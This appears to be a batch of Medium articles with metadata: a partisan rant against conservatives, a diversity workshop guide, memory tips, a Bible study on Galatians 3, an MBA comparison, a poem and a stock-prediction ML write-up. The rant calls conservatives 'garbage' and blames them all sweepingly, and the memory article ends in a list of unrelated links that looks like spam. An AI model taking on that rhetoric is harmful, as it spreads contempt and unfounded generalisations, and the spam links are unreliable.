It takes a stunning amount of hubris and entitlement for a conservative to work up the gumption to jump onto an article I wrote and complain that somehow I’m not treating them fairly.
Are you kidding me?
If you don’t want to be “lumped in” with the racist, evil president, then write your own article and denounce him. Take some productive steps to ensure he gets removed from office. You know, work for it a little bit.
Don’t prance about the internet leaving obscure comments whining about fairness. If that’s the best practical response that you can manage, then I’m inclined to think that you’re not being sincere, but that your outburst is just another example of the dishonest obstructionism that has become the hallmark of your political philosophy.
Defeating Trump is a small battle in a larger war
What’s become clear in the last few months is that the fight we’re in does not end with the removal of Trump. The left has been far too tolerant of all the nonsense from the right. They deny science, they deny reason, they deny common sense. They are willing to put our sick, our elderly, and our children at risk in service of their own delusional state of ignorance and arrogance.
It would be nice for conservatives to start auto policing themselves every now and then. How about having a little respect for a person who has studied and worked hard and become a leader in his or her field? How about treating other human beings with a little decency, respect, and charity? How about denouncing a president when he tweets out a video of a man screaming “white power”? How about you stop making excuses for evil?
You know, treat everyone else in the world they way you scream and whine and DEMAND the world treats you.
Conservatives are Trump enablers
Conservative pieces of garbage allowed the most evil, racist, misogynist person to occupy the most powerful position in the world. It’s not like they can put their hands to their cheeks now and say, “well, we voted for him reluctantly,” as if that absolves them of their sins.
You did this! You own it!
Throughout the Trump presidency social media has been replete with memes shared by conservatives that make lewd and disgusting attacks against people like Alexandria Ocasio-Cortez, they make disparaging comments against immigrants and the impoverished, they descend into outright hate speech against the LGBTQ community.
In all these years, I’ve never seen one conservative step up and denounce these behaviors.
Not one!
And now, out of the blue, conservatives are feeling like it’s “unfair” that they’re being grouped in with Trump. You guys are getting exactly what you deserve.
You want absolution? Then get to work
Don’t waste your time telling me how unfairly you’re being treated. If conservatives want me or anyone else to start seeing you differently, there’s nothing you can do right now but roll up your sleeves and get to work.
Start writing articles denouncing Trump.
Write articles denouncing the Republican party.
Pledge your vote to Biden, and make sure your friends and family know that you hold Trump in contempt.
DON’T scurry around me and demand that I change my perception which is based on your behaviors and the enduring consequences of your actions.
Conservatives are complicit
This mess you made isn’t something you can get out of with a 2 trillion dollar taxpayer funded bail out. Conservatives scream “socialism” if you hand a starving child a piece of bread crust, but they go silent as their party steals from the poor and gives to the rich again and again.
We’re tired of it.
There’s no easy fix, there’s no higher power to save you, if conservatives want to restore their good name, their only option is to roll up their sleeves and make the sacrifices necessary to undo all the evil they’ve allowed to flourish. Personally, I don’t think they will, but opinion doesn’t matter, action does. | https://medium.com/an-injustice/conservatives-cant-deny-they-are-responsible-for-trump-aacc269f2109 | ['Walter Rhein'] | 2020-08-19 19:37:33.389000+00:00 | ['Trump', 'Conservatives', 'Elections', 'Republicans', 'Politics'] |
Setting up a diversity and inclusion working group: A workshop kit | Before you start:
A few important factors will determine how successful a diversity working group can be. The first one is leadership buy-in. If you’re a lone ranger in a team that doesn’t see this as a priority, it will be a lot harder to effect change. Once you’ve established that this is a priority, and have leadership sponsorship that is more than lip service, get to work. Gather your people, kick off the work, establish a baseline, set goals, and GO!
If you need articles to prove why diversity and inclusion matter, beyond the because it’s 2020 or because it is right, there’s plenty out there for how it leads to better business outcomes, including McKinsey’s comprehensive report, Harvard Business Review, and Catalyst, to name a few.
I wrote this a long while ago, and neglected Medium entirely, so some of it is more pre-covid-workshop appropriate. However, collaborative post-it workshops are still pretty easy to do- you can use Miro, Lucidchart or any other collaboration tool for running multi-participant workshops.
Setting up a working group
Try to cap it off at max. 10 people. It’s near impossible to accommodate the calendars of that many people if you try to have any sort of continuity and followthrough, and workshops with more participants than that can drag and get derailed. Depending on how large the company is, how many functions there are etc., make sure different areas of the business are represented (so that each team has a diversity champion in it, rather than one team being in charge); different life experiences and background (make sure the diversity working group isn’t just ‘women and people of colour’ but actually includes a broad range of participants, ages, family status, educational background, ability/disability etc.). Try to make sure there’s at least one member of senior leadership in the group, and a senior member of the people/HR team.
For this, an email/slack/carrier pigeon with a call-to-arms (and in my case, a few emojis to break the wall of text) is enough to get people interested. | https://medium.com/@nufar.galin/setting-up-a-diversity-and-inclusion-working-group-a-workshop-kit-44474f63963c | ['Nufar Galin'] | 2020-11-04 16:59:01.901000+00:00 | ['Workshop Facilitation', 'Inclusion', 'Diversity', 'Women In Tech', 'Diversity In Tech'] |
Some Simple Steps Keep Your Mind Sharp At Any Age | Everyone has the occasional “senior moment.” Maybe you’ve gone into the kitchen and can’t remember why, or can’t recall a familiar name during a conversation. Memory lapses can occur at any age, but aging alone is generally not a cause of cognitive decline. When significant memory loss occurs among older people, it is generally not due to aging but to organic disorders, brain injury, or neurological illness.
Studies have shown that you can help prevent cognitive decline and reduce the risk of dementia with some basic good health habits:
staying physically active
getting enough sleep
not smoking
having good social connections
limiting alcohol to no more than one drink a day
eating a Mediterranean style diet.
Memory and other cognitive changes can be frustrating, but the good news is that, thanks to decades of research, you can learn how to get your mind active. There are various strategies we can use to help maintain cognitive fitness. Here are several you might try.
1. Keep learning
A higher level of education is associated with better mental functioning in old age. Experts think that advanced education may help keep memory strong by getting a person into the habit of being mentally active. Challenging your brain with mental exercise is believed to activate processes that help maintain individual brain cells and stimulate communication among them. Many people have jobs that keep them mentally active. Pursuing a hobby, learning a new skill, volunteering or mentoring are additional ways to keep your mind sharp.
2. Use all your senses
The more senses you use in learning something, the more of your brain that will be involved in retaining the memory. In one study, adults were shown a series of emotionally neutral images, each presented along with a smell. They were not asked to remember what they saw. Later, they were shown a set of images, this time without odors, and asked to indicate which they’d seen before. They had excellent recall for all odor-paired pictures, and especially for those associated with pleasant smells. Brain imaging indicated that the piriform cortex, the main odor-processing region of the brain, became active when people saw objects originally paired with odors, even though the smells were no longer present and the subjects hadn’t tried to remember them. So challenge all your senses as you venture into the unfamiliar.
3. Believe in yourself
Myths about aging can contribute to a failing memory. Middle-aged and older learners do worse on memory tasks when they’re exposed to negative stereotypes about aging and memory, and better when the messages are positive about memory preservation into old age. People who believe that they are not in control of their memory function — joking about “senior moments” too often, perhaps — are less likely to work at maintaining or improving their memory skills and therefore are more likely to experience cognitive decline. If you believe you can improve and you translate that belief into practice, you have a better chance of keeping your mind sharp.
4. Prioritize your brain use
If you don’t need to use mental energy remembering where you laid your keys or the time of your granddaughter’s birthday party, you’ll be better able to concentrate on learning and remembering new and important things. Take advantage of smart phone reminders, calendars and planners, maps, shopping lists, file folders, and address books to keep routine information accessible. Designate a place at home for your glasses, purse, keys, and other items you use often.
5. Repeat what you want to know
When you want to remember something you’ve just heard, read, or thought about, repeat it out loud or write it down. That way, you reinforce the memory or connection. For example, if you’ve just been told someone’s name, use it when you speak with him or her: “So, John, where did you meet Camille?”
6. Space it out
Repetition is most potent as a learning tool when it’s properly timed. It’s best not to repeat something many times in a short period, as if you were cramming for an exam. Instead, re-study the essentials after increasingly longer periods of time — once an hour, then every few hours, then every day. Spacing out periods of study helps improve memory and is particularly valuable when you are trying to master complicated information, such as the details of a new work assignment.
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http://obuchi-se.org/vun/boec-p-j-09.html
http://obuchi-se.org/vun/boec-p-j-10.html
http://clients.elnet.bg/bgr/boec-p-j-01.html
http://clients.elnet.bg/bgr/boec-p-j-02.html
http://clients.elnet.bg/bgr/boec-p-j-03.html
http://clients.elnet.bg/bgr/boec-p-j-04.html
http://clients.elnet.bg/bgr/boec-p-j-05.html
http://clients.elnet.bg/bgr/boec-p-j-06.html
http://clients.elnet.bg/bgr/boec-p-j-07.html
http://clients.elnet.bg/bgr/boec-p-j-08.html
http://clients.elnet.bg/bgr/boec-p-j-09.html
http://clients.elnet.bg/bgr/boec-p-j-10.html | https://medium.com/@serena-safari/some-simple-steps-keep-your-mind-sharp-at-any-age-9ed344cbb3da | [] | 2020-12-12 18:22:09.361000+00:00 | ['Age', 'Emotions', 'Lifestyle', 'Mind'] |
Galatians 3 | GALATIANS 3
For the law was given by Moses, but grace and truth came by Jesus Christ.
John 1
Links to my sites here and the bottom of every post- https://ccoutreach87.com/links-to-my-sites-updated-10-2018/
Galatians 3 videos-
https://www.dropbox.com/s/evk7t0ex9oc3rpw/1-3-17%20Galatians%203.mp4?dl=0
https://1drv.ms/v/s!Aocp2PkNEAGMg2IJprKceVayQpmQ
https://www.youtube.com/watch?v=hhA-O_mb3Y8&t=20s
https://ccoutreach87.files.wordpress.com/2017/01/1-3-17-galatians-3.zip
ON VIDEO
.Abrahamic covenant
.Fulfilled thru Christ
.Law [covenant] came later
.1st promise stands
.Law revealed sin
.Faith in Christ justifies
.Began in Spirit [faith] don’t go back to law [works]
.Christ took the curse of the law on the Cross [tree]
.Law was tutor- to bring us to truth
.Jesus is the Truth
.No more need for the tutor
.Father of many nations
.Legal and actual justification
.Luther- Trent [16th century]
.Legal fiction?
.Mercy seat
TEACHING [Past posts below]
Paul makes the argument that God promised Abraham that he would bless [save- justify] the whole world thru one of his sons.
Genesis 12:3 And I will bless them that bless thee, and curse him that curseth thee: and in thee shall all families of the earth be blessed.
Ultimately that Son was Jesus- who came down the line- from the offspring of Abraham-
Galatians 3:16
Now to Abraham and his seed were the promises made. He saith not, And to seeds, as of many; but as of one, And to thy seed, which is Christ.
Then Paul says –
The law [10 commandments and entire Old Covenant system] came 430 years after God gave Abraham this promise-
Galatians 3:17 And this I say, that the covenant, that was confirmed before of God in Christ, the law, which was four hundred and thirty years after, cannot disannul, that it should make the promise of none effect.
Paul says ‘the scripture foresaw that God would justify the heathen thru faith- preaching the gospel beforehand’-
Galatians 3:8 And the scripture, foreseeing that God would justify the heathen through faith, preached before the gospel unto Abraham, saying, In thee shall all nations be blessed.
Meaning- if the Galatians were going to revert to the law [get circumcised and put themselves under the Old Covenant] thinking that would make them pleasing to God.
Then the first promise [to Abraham] wasn’t true-
Galatians 3:17 And this I say, that the covenant, that was confirmed before of God in Christ, the law, which was four hundred and thirty years after, cannot disannul, that it should make the promise of none effect.
It’s a simple argument- saying God already promised that he would save the world someday- thru Jesus.
And if the law- which was given later- could also justify man- then basically God would have lied.
God is not a man that he should lie-
Numbers 23:19
God is not a man, that he should lie; neither the son of man, that he should repent: hath he said, and shall he not do it? or hath he spoken, and shall he not make it good?
Then the question is ‘why did God then give the law’?
Good question- and I taught it when we covered the book of Romans- and in this chapter Paul teaches it again.
The law was given till the seed [Son] would come to whom the promise was made-
Galatians 3:19 Wherefore then serveth the law? It was added because of transgressions, till the seed should come to whom the promise was made; and it was ordained by angels in the hand of a mediator.
But after that Son [seed] has come- there is no longer any need for the law [covenant- which includes circumcision]-
Paul teaches that the law was our tutor- to bring us to the time of Christ- but after the true teacher has come- there is no more need for a tutor-
Galatians 3:24 Wherefore the law was our schoolmaster to bring us unto Christ, that we might be justified by faith.
The law simply revealed to man his sin until the time of Christ-
Galatians 3:19 Wherefore then serveth the law? It was added because of transgressions, till the seed should come to whom the promise was made; and it was ordained by angels in the hand of a mediator.
The law is holy- just and good-
But men are sinful.
Therefore the law could never justify us.
Its purpose has been fulfilled- to reveal to man that he is a sinner- unable to keep it-
Romans 3:20
Therefore by the deeds of the law there shall no flesh be justified in his sight: for by the law is the knowledge of sin.
Then- when this purpose is fulfilled- we see the need for Christ- and the true purpose of the law is now accomplished-
Romans 3:31
Do we then make void the law through faith? God forbid: yea, we establish the law.
Simple.
The law cannot save us- was never intended to save us-
Galatians 3:21 Is the law then against the promises of God? God forbid: for if there had been a law given which could have given life, verily righteousness should have been by the law.
And now that Jesus has come-
The only one who ever fulfilled all the law-
Hebrews 4:15
For we have not an high priest which cannot be touched with the feeling of our infirmities; but was in all points tempted like as we are, yet without sin.
He himself saves us because he took all the transgressions that were held against man- and nailed them to his Cross-
Jesus took away the ‘handwriting of ordinances’ that was against us- and nailed them to his Cross-
Colossians 2:14
Blotting out the handwriting of ordinances that was against us, which was contrary to us, and took it out of the way, nailing it to his cross;
Paul concludes that we are justified by faith- that Jesus ‘hung on a tree’ [the Cross] and became a curse for us-
Galatians 3:13 Christ hath redeemed us from the curse of the law, being made a curse for us: for it is written, Cursed is every one that hangeth on a tree:
He quotes Habakkuk showing that the just shall live by faith-
Habakkuk 2:4
Behold, his soul which is lifted up is not upright in him: but the just shall live by his faith.
Galatians 3:11
But that no man is justified by the law in the sight of God, it is evident: for, The just shall live by faith.
And the law is not faith- but the ‘man that does them- lives under them’-
Galatians 3:12 And the law is not of faith: but, The man that doeth them shall live in them.
The quotes Paul uses in this chapter are from Deuteronomy- the ‘law’ and they show us the gospel itself-
Deuteronomy 21:22
And if a man have committed a sin worthy of death, and he be to be put to death, and thou hang him on a tree:
Deuteronomy 27:26 Cursed be he that confirmeth not all the words of this law to do them. And all the people shall say, Amen.
He warns the gentile believers- if you go back to that system- you are ‘falling from grace’-
Galatians 5:4
Christ is become of no effect unto you, whosoever of you are justified by the law; ye are fallen from grace.
We are all the children of God by faith in Jesus Christ-
Galatians 3:26 For ye are all the children of God by faith in Christ Jesus.
Galatians 3:27 For as many of you as have been baptized into Christ have put on Christ.
Galatians 3:28 There is neither Jew nor Greek, there is neither bond nor free, there is neither male nor female: for ye are all one in Christ Jesus.
Galatians 3:29 And if ye be Christ’s, then are ye Abraham’s seed, and heirs according to the promise.
Amen.
PAST TEACHING I DID THAT RELATES [Verses below]
GALATIANS [Links]
Galatians 1
https://corpuschristioutreachministries.blogspot.com/2020/12/galatians-1-text.html?m=0
https://ccoutreach87.com/2020/12/17/galatians-1-16/
https://ello.co/ccoutreach87/post/wcbfkhc6p1fkpxazlw_bng
https://ccoutreach87.webstarts.com/blog/post/galatians-1-4
https://corpusoutreach.weebly.com/most-recent-posts/galatians-16046790
https://wt.social/post/jfi5ub25360665537221
https://www.publish0x.com/ccoutreach87/galatians-1-xykvowj
https://parler.com/post/dd518eb61bfa4e53ae8c476b3c8619dd
https://gab.com/Ccoutreach87/posts/105394968263653884
https://johnchiarello.medium.com/galatians-1-2299c227a9ce
https://ccoutreach87.mystrikingly.com/blog/galatians-1-ce5f29d3-263a-4a1c-86e7-018097bbd8ce
https://www.plurk.com/p/o50uxw
https://ccoutreach87.site123.me/blog/galatians-1-3
http://ccoutreach87-1.mozello.com/blog/params/post/2361079/galatians-1
https://ccoutreach87.jimdofree.com/2020/12/17/galatians-1/
http://ccoutreach.over-blog.com/2020/12/galatians-1.html
Galatians 2
https://corpuschristioutreachministries.blogspot.com/2020/12/galatians-2-text.html?m=0
https://ccoutreach87.com/2020/12/22/galatians-2-18/
https://ello.co/ccoutreach87/post/pizaavvbhnsul6mwpsi8ua
https://ccoutreach87.webstarts.com/blog/post/galatians-2-5
https://wt.social/post/1b6ucyi5362123616094
https://www.publish0x.com/ccoutreach87/galatians-2-xomlxkn
https://parler.com/post/5dd947d6ea2c4feb8c9e74ef858d95a9
https://gab.com/Ccoutreach87/posts/105423634678296448
https://johnchiarello.medium.com/galatians-2-fcdbc3788d45
https://ccoutreach87.mystrikingly.com/blog/galatians-2-11613556-63d6-4d0b-baae-2fb0659457c0
https://www.plurk.com/p/o5adzh
http://ccoutreach87-1.mozello.com/blog/params/post/2387211/galatians-2
https://ccoutreach87.jimdofree.com/2020/12/22/galatians-2/
http://ccoutreach.over-blog.com/2020/12/galatians-2.html
https://ccoutreach87.com/2016/12/26/galatians-1/
https://ccoutreach87.com/2016/12/30/2nd-samuel-3-homeless-friends/
https://ccoutreach87.com/2017/01/02/galatians-2/
https://ccoutreach87.com/hebrews-updated-2015/
https://ccoutreach87.com/justification-by-faith/
https://ccoutreach87.com/romans-updated-2015/
https://ccoutreach87.com/protestant-reformation-luther/
VERSES [These are the verses I quoted or taught on the video- Galatians 3- Links to all my sites below]
Galatians 3:1 O foolish Galatians, who hath bewitched you, that ye should not obey the truth, before whose eyes Jesus Christ hath been evidently set forth, crucified among you?
Galatians 3:2 This only would I learn of you, Received ye the Spirit by the works of the law, or by the hearing of faith?
Galatians 3:3 Are ye so foolish? having begun in the Spirit, are ye now made perfect by the flesh?
Galatians 3:4 Have ye suffered so many things in vain? if it be yet in vain.
Galatians 3:5 He therefore that ministereth to you the Spirit, and worketh miracles among you, doeth he it by the works of the law, or by the hearing of faith?
Galatians 3:6 Even as Abraham believed God, and it was accounted to him for righteousness.
Galatians 3:7 Know ye therefore that they which are of faith, the same are the children of Abraham.
Galatians 3:8 And the scripture, foreseeing that God would justify the heathen through faith, preached before the gospel unto Abraham, saying, In thee shall all nations be blessed.
Galatians 3:9 So then they which be of faith are blessed with faithful Abraham.
Galatians 3:10 For as many as are of the works of the law are under the curse: for it is written, Cursed is every one that continueth not in all things which are written in the book of the law to do them.
Galatians 3:11 But that no man is justified by the law in the sight of God, it is evident: for, The just shall live by faith.
Galatians 3:12 And the law is not of faith: but, The man that doeth them shall live in them.
Galatians 3:13 Christ hath redeemed us from the curse of the law, being made a curse for us: for it is written, Cursed is every one that hangeth on a tree:
Galatians 3:14 That the blessing of Abraham might come on the Gentiles through Jesus Christ; that we might receive the promise of the Spirit through faith.
Galatians 3:15 Brethren, I speak after the manner of men; Though it be but a man’s covenant, yet if it be confirmed, no man disannulleth, or addeth thereto.
Galatians 3:16 Now to Abraham and his seed were the promises made. He saith not, And to seeds, as of many; but as of one, And to thy seed, which is Christ.
Galatians 3:17 And this I say, that the covenant, that was confirmed before of God in Christ, the law, which was four hundred and thirty years after, cannot disannul, that it should make the promise of none effect.
Galatians 3:18 For if the inheritance be of the law, it is no more of promise: but God gave it to Abraham by promise.
Galatians 3:19 Wherefore then serveth the law? It was added because of transgressions, till the seed should come to whom the promise was made; and it was ordained by angels in the hand of a mediator.
Galatians 3:20 Now a mediator is not a mediator of one, but God is one.
Galatians 3:21 Is the law then against the promises of God? God forbid: for if there had been a law given which could have given life, verily righteousness should have been by the law.
Galatians 3:22 But the scripture hath concluded all under sin, that the promise by faith of Jesus Christ might be given to them that believe.
Galatians 3:23 But before faith came, we were kept under the law, shut up unto the faith which should afterwards be revealed.
Galatians 3:24 Wherefore the law was our schoolmaster to bring us unto Christ, that we might be justified by faith.
Galatians 3:25 But after that faith is come, we are no longer under a schoolmaster.
Galatians 3:26 For ye are all the children of God by faith in Christ Jesus.
Galatians 3:27 For as many of you as have been baptized into Christ have put on Christ.
Galatians 3:28 There is neither Jew nor Greek, there is neither bond nor free, there is neither male nor female: for ye are all one in Christ Jesus.
Galatians 3:29 And if ye be Christ’s, then are ye Abraham’s seed, and heirs according to the promise.
________________________________________
Romans 8:1 There is therefore now no condemnation to them which are in Christ Jesus, who walk not after the flesh, but after the Spirit.
Romans 8:2 For the law of the Spirit of life in Christ Jesus hath made me free from the law of sin and death.
Romans 8:3 For what the law could not do, in that it was weak through the flesh, God sending his own Son in the likeness of sinful flesh, and for sin, condemned sin in the flesh:
Romans 8:4 That the righteousness of the law might be fulfilled in us, who walk not after the flesh, but after the Spirit.
Genesis 12:1 Now the LORD had said unto Abram, Get thee out of thy country, and from thy kindred, and from thy father’s house, unto a land that I will shew thee:
Genesis 12:2 And I will make of thee a great nation, and I will bless thee, and make thy name great; and thou shalt be a blessing:
Genesis 12:3 And I will bless them that bless thee, and curse him that curseth thee: and in thee shall all families of the earth be blessed.
Romans 3:25
Whom God hath set forth to be a propitiation through faith in his blood, to declare his righteousness for the remission of sins that are past, through the forbearance of God;
In Context | Full Chapter | Other Translations
1 John 2:2
And he is the propitiation for our sins: and not for ours only, but also for the sins of the whole world.
In Context | Full Chapter | Other Translations
1 John 4:10
Herein is love, not that we loved God, but that he loved us, and sent his Son to be the propitiation for our sins.
In Context | Full Chapter | Other Translations
14 And the Word was made flesh, and dwelt among us, (and we beheld his glory, the glory as of the only begotten of the Father,) full of grace and truth.
15 John bare witness of him, and cried, saying, This was he of whom I spake, He that cometh after me is preferred before me: for he was before me.
16 And of his fulness have all we received, and grace for grace.
17 For the law was given by Moses, but grace and truth came by Jesus Christ.
John 1
Hebrews 9:14
How much more shall the blood of Christ, who through the eternal Spirit offered himself without spot to God, purge your conscience from dead works to serve the living God?
In Context | Full Chapter | Other Translations
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Note- Please do me a favor, those who read/like the posts- re-post them on other sites as well as the site you read them on- Copy text- download video links- make complete copies of my books/studies and posts- everything is copyrighted by me- I give permission for all to copy and share as much as you like- I just ask that nothing be sold. We live in an online world- yet- there is only one internet- meaning if it ever goes down- the only access to the teachings are what others have copied or downloaded- so feel free to copy and download as much as you want- it’s all free-
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I am not a ‘bot’- I’m John- so please- if you are on the verge of deleting something- my contact email is ccoutreach87@gmail.com — contact me first- thank you- John | https://medium.com/@johnchiarello/galatians-3-bc88f8c94a96 | ['John Chiarello'] | 2020-12-24 09:44:27.277000+00:00 | ['Jesus', 'Religion', 'Ccoutreach87', 'Bible', 'God'] |
MBA in India vs MBA Abroad- What is Better? | Pursuing an MBA is one of the most sought-after choices by students, be it immediately after graduation or after some work experience. Being a universally recognized qualification, an MBA offers excellent prospects, both financially and experientially. However, there still lies an uncertainty in whether or not one must aim for an MBA degree from India or abroad. You can read more about the best executive MBA programs in 2020 here. Though one size never fits everyone, this article will help in enumerating the pros and cons of both- MBA in India and an MBA abroad.
Photo by Keren Levand on Unsplash
International MBA courses are high in demand for their potential to help an individual rapidly climb up the corporate ladder. The attractive salary, flexibility, and global recognition are added benefits of pursuing an MBA from an international university.
Read more about why you must consider pursuing an MBA in 2020 here.
The Entrance Examination
The CAT is among the main exams that students need to clear to gain admission in MBA courses in India. Rigorous rounds of group discussion and personal interviews follow the written exam. Other exams for entry into MBA and PGDM courses include XAT, SNAP, NMAT, IIFT, etc. On the other hand, studying abroad requires students to give the GRE and GMAT exams.
The GMAT remains the most widely considered exam from the perspective of business schools globally. Apart from the test, the applicant needs to produce well-written essays and recommendations. Find out how to write a good recommendation letter here. Besides, the organization of the exam in itself is more flexible as a student can appear for it around five times every year. This gives the candidate a greater number of chances to improve his/her score on the test. The applicants shortlisted after the first round further need to participate in an interview round for selection. Know more about MBA entrance exams abroad here.
You may also find the following blogs useful:
A Broader Perspective
Learning at an international university gives a student much-needed exposure to newer ideas, cultures, languages, and lifestyles. A student studying in India will have the advantage of comfort and familiarity with the network and culture. In contrast, a candidate abroad gets the opportunity of interacting with peers from all over the globe. This is immensely valuable, especially for a course like MBA, where practical experience and a more extensive outlook plays a pivotal role in learning. Internationally, a student grows more independent, refined, and confident. The broadened horizon gives him/her the chance to learn about diverse ideas. In addition to these, a degree from a well-reputed international school can be a massive plus on your resume. International institutions take a more hands-on approach, and a student gets to undertake several internships as a part of the training. This practice is less widespread in India.
The Cost
A significant difference in pursuing an MBA from India versus one abroad is the affordability. While an MBA course in India would cost a student between Rs. 7.5 lakhs to Rs. 25 lakhs, it would cost around Rs. 20 lakhs to Rs. 70 lakh for a student in an international university. A student needs to consider and analyze the ROI, i.e., the Return On Investment. Find a list of the best and most affordable international universities here. Besides, the living costs abroad are considerably higher than those in India and can be crucial while assessing the overall expenditure. The annual salary a student can expect after completing an MBA in India lies in the range of Rs. 20 lakhs to Rs. 25 lakhs, as opposed to approximately Rs. 40 lakhs to Rs. 50 lakhs for an international MBA degree. Candidates need to add the cost of living, study material, medical insurance, and transportation to this.
Also Read:
Previous Work Experience
Most business schools in India do not require the entrants to have prior work experience at the time of admission. However, a few institutions like IIM Bangalore, IIM Ahmedabad, and ISB Hyderabad do have previous experience as a prerequisite for entry. Unlike India, students applying to MBA programs in the US should have, on average, have around 3–5 years of pre-MBA work experience while candidates who apply to the UK and Europe-based programs are expected to have a work experience of 5–6 years. Please note that the minimum work experience requirements vary from one university to another.
Career Goals
Studying in India would steer you clear of any accessory troubles such as visa issues and extra documentation. Pursuing an MBA degree abroad is recommended if you are aiming for a top business school, and you plan to settle abroad after completing the course. The US is one of the most desirable destinations for an MBA course. An MBA degree from India cannot compete with a degree from an international institute and wouldn’t be of much help if you plan to continue your work abroad.
Program Structure
There is a marked difference in the course structure in India and universities abroad. The Indian curriculum still leans heavily on theoretical learning with only minimal practical skills, though it does show signs of improvement these days. In comparison, business schools abroad take a more experiential approach. Students are involved in case studies and need to write reviews early on, thus honing their skills in these aspects. The course composition is more application based and, coupled with a multicultural environment, proves to be of tremendous benefit from the candidate’s point of view.
Employment Opportunities
An MBA degree in India offers more scope when it comes to employment opportunities after the course. Students get to appear for interviews with highly ranked companies on the campus itself. In fact, toppers tend to receive multiple offers from these firms. Contrarily, business schools abroad don’t necessarily guarantee a job after completion of the program. Students need to take efforts of their own to reach out to their dream companies and build a network of contacts. Nevertheless, they are given several opportunities throughout the course to form these connections through work and internships.
Environmental Factors
Admission to an MBA program, both in India and abroad, requires the aspirant to face a competitive atmosphere. Moreover, a student’s social setting does play a role in how well they adjust. It is easier for Indian nationals to adapt to a foreign environment if they belong to an urban background. The added factor of cultural-shock is lesser in this case. Besides, experts warn students not to apply for an international MBA degree for the mere sake of the addition to their resumes. An aspirant must look into the work visa policy before seeking admission at a foreign institution. Students are advised to do their research and carefully weigh the prospects before arriving at a final conclusion.
The Purpose
An international MBA degree from a business school of low credibility is not a noteworthy addition to your CV and is not going to play an influential role in landing you a job. In such cases, admission from an IIT or IIM is a better option as these institutions offer a curriculum on par with the international one. Another important thing to note is that it is always suggested to seek admission to a public university abroad. Experts recommend students to opt for mid-level international universities over a private university in India.
The Present Scenario
The current pandemic situation has certainly impacted students’ plans for international study and has caused many to rethink their choices. Travel has faced a huge setback due to the lockdown, and the already arduous visa application process has grown all the more complex. Moreover, freshers to the course have been forced to start their classes in the online mode. You can read the comparison between an online and offline MBA degree here. The COVID-19 has also adversely affected the employment scenario from a global standpoint, although this may change in the near future. Find a list of the best MBA courses in 2020 here.
Diversity and Exposure
Besides the advantages mentioned earlier, an MBA from an international business school will expose you to higher standards of academics, work experience, and extracurricular activities. The skills you’ll develop will remarkably augment your career goals. You will have peers from multiple backgrounds, and interacting with them will help you gain better learning and more in-depth insights into various industries globally. This is particularly useful while pursuing a course like MBA where practical application plays a crucial role in determining your expertise.
You may want to read more about the comparison of an Indian MBA degree with that of a foreign one here. | https://medium.com/@ashwinijain/mba-in-india-vs-mba-abroad-what-is-better-26733d694bb7 | ['Ashwini Jain'] | 2020-12-19 14:32:19.092000+00:00 | ['Higher Education', 'Technology', 'Education', 'Study Abroad', 'Students'] |
Machine | I’m not a machine.
But I feel like I treat myself like a machine.
Does anyone else want me to be a machine?
Not yet but I’m sure soon.
I’m okay in my mannerisms and emotions.
But work… man that’s robotic.
Machine | https://medium.com/@dnaqvi/machine-7fe583b23b63 | ['Danial Naqvi'] | 2020-12-20 22:10:44.860000+00:00 | ['Robotics', 'Emotions', 'Machine', 'Structure', 'Work'] |
Does Fundamental Investing Work? Attempting to Predict Stock Success With Machine Learning | Does Fundamental Investing Work? Attempting to Predict Stock Success With Machine Learning Preston Lam Follow Sep 18 · 5 min read
Like most of you, I have a strong interest in making more money and growing my savings faster. And as I’ve started my career over the last 2 years, I’ve been seeking advice on how to best manage the money I’ve earned.
To date, my personal finance strategy has been relatively conservative — invest the bulk of my savings in an S&P 500 ETF and let my them grow with the market. My friend Emmanuel who now works in asset management told me that this method — the Vanguard method — held the best blend of risk and reward, and he gave me a book called “The Boglehead’s Guide to Investing”, written by Vanguard’s founder John C. Bogle. This book explained that putting your money in a total stock market ETF was best because trying to beat the market is time-consuming and nearly impossible — even the best hedge funds could only beat the market for a year or two before ultimately providing similar, or worse, returns.
Yet still, there have been a few examples of people successfully beating the market time and time again to make extraordinary wealth. The most famous example is Warren Buffet, who has used a process of evaluating companies based on their fundamentals — financial metrics like net income and ratios like Earnings per Share — to make investments that have helped him become one of the wealthiest people on the planet. In fact, a whole school of investing exists based on picking stocks based on their financial fundamentals, aptly named “fundamental investing.”
Warren Buffet, the King of Investing, walking with a friend
Fundamental investing is based on the idea that you can find stocks undervalued by the market based on their fundamentals. You look at how the market rates a stock compared to how fundamentalists evaluate that stock according to a specific valuation metric. The logic goes that if you can find and buy undervalued stocks, then you can make money when stocks reach their market potential.
To test out whether fundamental investing principles really worked and see which specific fundamental metrics would factor most in predicting stock prices, I decided to build a model to try and evaluate fundamental investing.
Note: The next few sections concern the data analysis and modeling process. Feel free to skip to the takeaways below.
Data
I scraped financial data and valuation metrics from every single company in the Russell3000. The 2 time periods I chose to scrape from were the stock price, several financial metrics, and several valuation metrics from January 2018. I then scraped the stock price of January 2020 in order to calculate the lift over 2 years. Data was scraped from Morningstar and Yahoo Finance.
Thus, I had my independent variables — the financial and valuation metrics — and the dependent predictor variable — the percent a stock increased between Jan 2018 and Jan 2020.
Feature Engineering
After I collected the data, I engineered several ratios based on this article: “15 Financial Ratios that Every Investor Should Use” by investinganswers.com. Some of these ratios were:
Price to Earnings Ratio — The stock price / earnings per share. Gives an idea of how the stock is valued compared to how much that company is actually making. Price to Book Ratio — Price per share / book value per share. Compares how the market values a stock versus how the actual shareholders value it. Return on Assets — Net income / average total assets. Measures of how well the company uses its assets to make money. Return on Equity — Net income / average stockholders equity. Measures how much money the company generates for each dollar given to shareholders. If a company generates more money for its shareholders relative to other companies, the stock will be more valuable to the market.
Modeling
After removing multicollinearity, I tried several different regression models to look at my data. Among these, I used regular linear regression, ridge, and lasso, using GridSearchCV to optimize parameters.
However, the model performances on these regression types were very low, producing an R² of .01 and less. (R² measures how well your features capture the variance in your target). This suggested that either the pattern was likely non-linear, or that the data simply had little relationship with the target variable, or both.
As a last ditch effort to get more out of my data, I created polynomial features out of all my existing ones and applied a Random Forest Regression model, which in a simplified sense uses “if, else” patterns to make predictions on the data. With this model I was able to improve the R² to .04 — a 400% increase although still quite poor.
Results
As stated above, the R² for these models was very poor, showing that the data had explained very little of the variance no matter what type of model and pattern I tried to use. In addition, I was able to reduce another performance indicator, RMSE, from 42% to 39%. But even so, the results still meant that on average, my predictions were 39% off. If a stock price went up by 50%, my model could predict that it only went up 11%.
In terms of silver linings, upon analyzing the feature importances of random forest model we see that all of the top 5 features contain 1 of 2 ratios: the Price to Book Ratio, and the Return on Assets.
